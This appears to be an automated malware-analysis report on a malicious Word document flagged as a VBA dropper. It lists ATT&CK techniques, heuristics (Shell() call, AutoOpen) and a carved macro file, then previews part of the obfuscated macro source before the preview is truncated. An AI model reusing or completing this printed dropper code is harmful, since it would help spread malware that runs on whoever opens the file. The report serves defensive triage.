MALICIOUS
204
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro. The 'OLE_VBA_SHELL' and 'OLE_VBA_AUTOOPEN' heuristics indicate that the macro is designed to execute commands upon opening. The presence of 'macros.bas' and the ClamAV detection further confirm its malicious nature as a dropper.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6457486-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6457486-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 62833 bytes |
SHA-256: babf00914039e694307da8abc1b221d53d17c60d1a6620153d4f5a0c2764b854 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 30 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "PwziujTfp" Sub ABbjLh(jzUZnCW) On Error Resume Next Dim TnRzjt() ReDim jcDLawt(2) mUtFm(0) = 186042 VWzlKcTsbuaVb(1) = 8745430 hGNpU = Loo - 9768715 zHMpwiFuwk = 1482312 * 4763798 End Sub Function bplDlcUjMrj() On Error Resume Next qWrihMAw = "WrnPWvjkSNYUiSpJcuvOISMKQD%3rav%t" khFFu = oophdWzuY = aJcaBfTXlwt = (1294587 / MCmsfrLGLwBPI + 6738043 * SdTMq * (9017016 / DCkltUviEiivdi / 8339068 - Tan(SDMYPKaKsw / CBool(EIdhQzNz / 6940133 / twqLju)))) EULibDzk = XhMFYazAJ = VjsbZtwErW = (5097373 / RwPiHWZEWNiQDc + 6020661 * siJcYmbdHIizB * (7452837 / KUaPOqtT / 5527048 - Tan(EHIBbXwOGL / CBool(MzYfWmX / 9744913 / ZDjtXwdNQAwK)))) JQPBruZZRtK = gjHBjhbyuf(qWrihMAw, 2, 6) DVozWiuzOuZ = "WsbRTlsOntld% tes&&!%2rav%!=%8k" ddzkYHBZDP = uzNrYzBTu = IzfthCwiElY = (8138226 / rtWvMidrcb + 1888411 * sfminMaVtzGo * (2552482 / HlikMOETWwBEo / 7796969 - Tan(qfYVFoWM / CBool(RZzVk / 8937613 / ihUWsNrPvjZJ)))) JTpvKLli = ohiXmECRi = IDkZiTnQ = (6781359 / bKSWURYdoIZ + 4079802 * NXSjBLRh * (5615001 / PZQmT / 6694749 - Tan(bfApidOLC / CBool(fYcZtmoX / 316500 / klESBwF)))) IdBIowifGRz = gjHBjhbyuf(DVozWiuzOuZ, 2, 18) uwcviiKlFFZ = "kzKqUrLXlNwRGViw% tes&q" OZYIzNYXs = CumzdDVXl = jBfjbz = (7340989 / BkKUMJn + 1906371 * OuiGBmFjrJXQG * (6092283 / aZFkromZXE / 4979778 - Tan(EhicKTNG / CBool(HziPawknOw / 9109831 / funDC)))) fSELvBXcauM = SBcVHCbSB = JjNws = (4764378 / TaXVQ + 8329093 * lJHiO * (4804353 / vYHBMiHAwGzZ / 9042006 - Tan(HAACjdaMjh / CBool(Kajzu / 9357426 / cNOHF)))) QEAcQAJYZ = gjHBjhbyuf(uwcviiKlFFZ, 2, 10) mFTkVjEMc = "GHmsjiFaRSCrqtA% tescDkhmsnh" hwVaYO = QjjkQKrvM = HJdQwjbcmPZTw = (6108394 / NGqlEDMQHcii + 8737013 * rNBzNsTnYoUqkc * (4991552 / zkAwDDAJIousWn / 3066620 - Tan(hfvBY / CBool(imTZiBRN / 3643688 / rKfwiusnMrqZ)))) rqWhnTPsRiQ = waRkYTIEh = ZdBNfiVzs = (9146293 / JBLIRTnnH + 7861447 * dJosHwczEOD * (3596670 / CzUPORNzvDoY / 1146602 - Tan(HAVRZjszrZ / CBool(WWWvqGGiaFTw / 4577536 / pbhiFzTBW)))) ltVsvUrMuD = gjHBjhbyuf(mFTkVjEMc, 9, 12) KObawI = "NjpXv%!!%3rav%!!%8raJarvfjaczpinMkwM" GJzkG = cIowBUDWG = YBRrilKAtXh = (4251518 / nafFwir + 1236977 * zzsNV * (4629721 / VBZjXRuDjQRCn / 5948549 - Tan(GGwBYW / CBool(HnObVCT / 9866287 / QmHXVHpnV)))) DpijauaTqH = fcVjRpSXo = mQTzWGulRwvsj = (6950698 / BQfHowQIftttbW + 4867325 * wNbMEw * (7396643 / RbWXrZmslkPZ / 7512368 - Tan(AtVHoGdM / CBool(OsoziHXq / 941982 / vpNcsRFGBI)))) QIowZdwd = gjHBjhbyuf(KObawI, 17, 16) lGqtWiq = "ZKnTuLIfU !%6rav%!!%5rI" PsZNEzBwCW = HRmXRHjYW = iQIFMvhGYQ = (8313381 / zfTfVqAmw + 8984366 * zEQNq * (6361306 / GJZnwpsFwkiiQt / 218326 - Tan(SGEmlsYjckNL / CBool(whrYb / 1816242 / wLjdmQsPHQi)))) YalTu = KwTzGlvMO = qLMbjECCnJpj = (3800200 / HXazUAIbMFDP + 6359402 * aFdPvvGAXCFLqN * (3930053 / oacipj / 2010474 - Tan(rNcOwGYRXDbhfZ / CBool(XiHAYtJJvHFR / 5559832 / CJrviYhTrBQd)))) NtYno = gjHBjhbyuf(lGqtWiq, 2, 13) wVmCM = "DMNFpoLY&wo=%2rav% tesWlC" JYLjfo = wITkduPzs = dLEZYZOCChwd = (8472357 / wLGMTQwuPN + 4001987 * IfhjCIGT * (6697446 / zClukmIACUQp / 7250321 - Tan(oDibqjvq / CBool(EQiUT / 6000704 / XYvMNDaZjLlPK)))) JRzhG = zDTuPuzii = zpHzhdCSpU = (2405649 / rtYFkcEvizjfFA + 9436503 * FYjMtvvWGFsv * (5752764 / wuwCMZVKKWZiw / 296311 - Tan(bshjOM / CBool(oADwwBwi / 6935646 / RkBlhC)))) VRkzwtdoudA = gjHBjhbyuf(wVmCM, 4, 14) FNPaw = "mzbAHoiXiJKDSVjGWSKVNvFAGPEqUFv% tes&&OwDnsCKbQpmN" kvJwsj = whTGrAQJw = tEmhouEzwHY = (3863135 / VKwiYQwZlzuYh + 1543670 * sFzOjHUJ * (7044605 / VjmLnMocoww / 8642987 - Tan(rsAKHFsJG / CBool(kGtIKnlBBOwD / 6444683 / OwnFwtJ)))) GczwKMUjB = XzjIVfzMD = YOwCEtEioDzvi = (4944329 / LpwJSmMNcNHJ + 8928 * IoozWXpkJJEj * (5348434 / pMbUJT / 2071893 - Tan(ADlFMATozkDpj / CBool(IwICzaf / 7452487 / jKFXQ)))) rNDWzFNC = gjHBjhbyuf(FNPaw, 8, 13) XCLAjHN = "TAMUmCqzp ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.